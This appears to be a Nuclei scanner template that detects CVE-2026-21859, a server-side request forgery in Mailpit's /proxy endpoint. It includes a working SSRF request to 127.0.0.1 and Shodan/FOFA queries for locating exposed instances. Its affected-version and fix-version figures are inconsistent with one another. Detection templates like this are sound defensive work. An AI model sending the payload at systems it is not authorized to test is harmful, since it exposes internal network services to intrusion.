Mailpit < 1.28.3 - Server-Side Request Forgery

id: CVE-2026-21859

info:
  name: Mailpit < 1.28.3 - Server-Side Request Forgery
  author: omarkurt
  severity: high
  description: |
    Mailpit <= 1.28.0 contains a server-side request forgery caused by insufficient validation of internal IP addresses in the /proxy endpoint, letting attackers make requests to internal network resources, exploit requires crafted HTTP GET requests.
  impact: |
    Attackers can access internal network services and APIs, potentially exposing sensitive internal resources.
  remediation: |
    Update to version 1.28.1 or later.
  reference:
    - https://rosecurify.com/advisories/RO-26-001-mailpit-server-side-request-forgery-ssrf/
    - https://github.com/axllent/mailpit/security/advisories/GHSA-8v65-47jx-7mfr
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cve-id: CVE-2026-21859
    epss-score: 0.00755
    epss-percentile: 0.50611
    cwe-id: CWE-918
    cpe: cpe:2.3:a:axllent:mailpit:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: axllent
    product: mailpit
    shodan-query: title:"Mailpit"
    fofa-query: title="Mailpit"
  tags: cve,cve2026,mailpit,axllent,oast,oob,ssrf,vkev

http:
  - raw:
      - |
        GET /proxy?url=http://127.0.0.1:8025/api/v1/info HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"Version"'
          - '"Database"'
          - '"RuntimeStats"'
        condition: and

      - type: word
        part: header
        words:
          - "application/json"

      - type: status
        status:
          - 200
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